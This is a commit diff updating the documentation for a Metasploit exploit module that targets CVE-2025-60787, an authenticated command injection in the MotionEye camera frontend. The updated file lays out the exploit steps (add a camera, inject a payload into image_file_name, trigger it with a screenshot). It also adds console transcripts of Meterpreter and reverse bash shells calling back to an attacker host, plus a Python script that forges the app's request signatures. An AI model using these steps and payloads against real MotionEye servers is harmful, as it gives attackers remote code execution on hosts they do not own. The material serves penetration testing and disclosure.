Skip to content

Commit 25624e9

Browse files
committed
code review changes
1 parent 6d295b9 commit 25624e9

File tree

2 files changed

+196
-75
lines changed

2 files changed

+196
-75
lines changed

documentation/modules/exploit/multi/http/motioneye_auth_rce_cve_2025_60787.md

Lines changed: 152 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,16 @@
11
## Vulnerable Application
22

3-
This module exploits a template injection vulnerability in the MotionEye.
3+
This module exploits a template injection vulnerability in the [MotionEye Frontend](https://github.com/motioneye-project/motioneye).
44

5-
MotionEye is vulnerable to OS Command Injection in configuration parameters such as image_file_name.
6-
Unsanitized user input is written to Motion configuration files,
7-
allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted.
5+
MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as `image_file_name`.
6+
Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.
87

9-
This vulnerability affects MotionEye versions <= 0.43.1b4 are vulnerable.
10-
Successful exploitation may result in the remote code execution under the privileges
8+
Exploit workflow:
9+
1. Adds a new camera in MotionEye Frontend.
10+
2. Injects the payload into the image_file_name field (used for naming camera screenshots).
11+
3. Captures a screenshot, triggering the payload.
12+
13+
Successful exploitation may result in the remote code execution as the user running
1114
of the web server, potentially exposing sensitive data or disrupting survey operations.
1215

1316
An attacker can execute arbitrary system commands in the context of the user running the web server.
@@ -22,6 +25,8 @@ An attacker can execute arbitrary system commands in the context of the user run
2225

2326
## Scenario
2427

28+
### cmd/linux/http/x64/meterpreter/reverse_tcp
29+
2530
```
2631
msf6 > use exploit/multi/http/motioneye_auth_rce_cve_2025_60787
2732
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
@@ -55,4 +60,145 @@ OS : Debian 13.1 (Linux 6.11.2-amd64)
5560
Architecture : x64
5661
BuildTuple : x86_64-linux-musl
5762
Meterpreter : x64/linux
63+
```
64+
65+
### cmd/unix/reverse_bash
66+
67+
```
68+
msf6 > use exploit/multi/http/motioneye_auth_rce_cve_2025_60787
69+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
70+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set payload cmd/unix/reverse_bash
71+
payload => cmd/unix/reverse_bash
72+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RHOSTS 127.0.0.1
73+
RHOSTS => 127.0.0.1
74+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > set RPORT 9999
75+
RPORT => 9999
76+
msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > run
77+
78+
[*] Started reverse TCP handler on 192.168.19.130:4444
79+
[*] Running automatic check ("set AutoCheck false" to disable)
80+
[+] The target appears to be vulnerable. Detected version 0.43.14, which is vulnerable
81+
[*] Adding camera...
82+
[+] Camera successfully added
83+
[*] Setting up exploit...
84+
[+] Exploit installation completed
85+
[*] Executing exploit...
86+
[+] Execution exploit request sent successfully
87+
[*] Removing camera
88+
[+] Camera removed successfully
89+
[*] Command shell session 1 opened (192.168.19.130:4444 -> 172.17.0.2:60160) at 2025-10-06 04:46:34 -0400
90+
91+
cat /etc/os-release
92+
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
93+
NAME="Debian GNU/Linux"
94+
VERSION_ID="13"
95+
VERSION="13 (trixie)"
96+
VERSION_CODENAME=trixie
97+
DEBIAN_VERSION_FULL=13.1
98+
ID=debian
99+
HOME_URL="https://www.debian.org/"
100+
SUPPORT_URL="https://www.debian.org/support"
101+
BUG_REPORT_URL="https://bugs.debian.org/"
102+
```
103+
104+
## Script for signing requests
105+
106+
The application verifies request signatures, so I wrote a small script to sign requests manually.
107+
108+
You won't need it if you use the exploit, but it can be useful for debugging.
109+
110+
```
111+
import hashlib
112+
import re
113+
import argparse
114+
import sys
115+
from urllib.parse import urlsplit, parse_qs, unquote, quote
116+
from typing import Dict, List, Tuple
117+
118+
_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]":, -]')
119+
120+
def compute_signature(method: str, path: str, body: str = '', key: str = '') -> str:
121+
if not method or not path:
122+
raise ValueError("Method and path must be provided.")
123+
124+
url_parts = urlsplit(path)
125+
base_path = url_parts.path
126+
127+
if not base_path.startswith('/'):
128+
base_path = '/' + base_path
129+
130+
raw_query_params: Dict[str, List[str]] = parse_qs(
131+
url_parts.query, keep_blank_values=True, strict_parsing=False
132+
)
133+
134+
canonical_query: List[Tuple[str, str]] = []
135+
for k, v_list in raw_query_params.items():
136+
if k == '_signature':
137+
continue
138+
139+
value = unquote(v_list[0]) if v_list else ''
140+
canonical_query.append((k, value))
141+
142+
canonical_query.sort(key=lambda item: item[0])
143+
144+
query_string = '&'.join(f"{k}={quote(v)}" for k, v in canonical_query)
145+
146+
if query_string:
147+
canonical_path = f"{base_path}?{query_string}"
148+
else:
149+
canonical_path = base_path
150+
151+
canonical_path = re.sub(_SIGNATURE_REGEX, '-', canonical_path)
152+
153+
body_for_signing = re.sub(_SIGNATURE_REGEX, '-', body)
154+
155+
if not key:
156+
password_hash = "da39a3ee5e6b4b0d3255bfef95601890afd80709"
157+
else:
158+
password_hash = hashlib.sha1(key.encode('utf-8')).hexdigest().lower()
159+
160+
data = f"{method.upper()}:{canonical_path}:{body_for_signing}:{password_hash}"
161+
162+
return hashlib.sha1(data.encode('utf-8')).hexdigest().lower()
163+
164+
def main():
165+
parser = argparse.ArgumentParser(description="Computes a SHA1 signature for an HTTP request.")
166+
167+
parser.add_argument('--method', type=str, required=True,
168+
choices=['GET', 'POST', 'PUT', 'DELETE'],
169+
help="The HTTP method (e.g., GET).")
170+
parser.add_argument('--path', type=str, required=True,
171+
help="The canonical path (e.g., /api/resource?param=value).")
172+
parser.add_argument('--key', type=str, default='',
173+
help="The secret key. Defaults to an empty string.")
174+
parser.add_argument('--body', type=str, default='',
175+
help="The request body as a string. Defaults to an empty string.")
176+
177+
try:
178+
args = parser.parse_args()
179+
180+
signature = compute_signature(
181+
method=args.method,
182+
path=args.path,
183+
body=args.body,
184+
key=args.key
185+
)
186+
187+
print(f"Computed Signature: {signature}")
188+
189+
except ValueError as e:
190+
sys.stderr.write(f"Error: {e}\n")
191+
sys.exit(1)
192+
except Exception as e:
193+
sys.stderr.write(f"An unexpected error occurred: {e}\n")
194+
sys.exit(1)
195+
196+
197+
if __name__ == '__main__':
198+
main()
199+
```
200+
201+
Example of usage:
202+
```
203+
python3 ./hash.py --method "GET" --path "/config/1/get/?force=true&_=1759747431350&_username=admin" --body '' --key ""
58204
```

0 commit comments

Comments
 (0)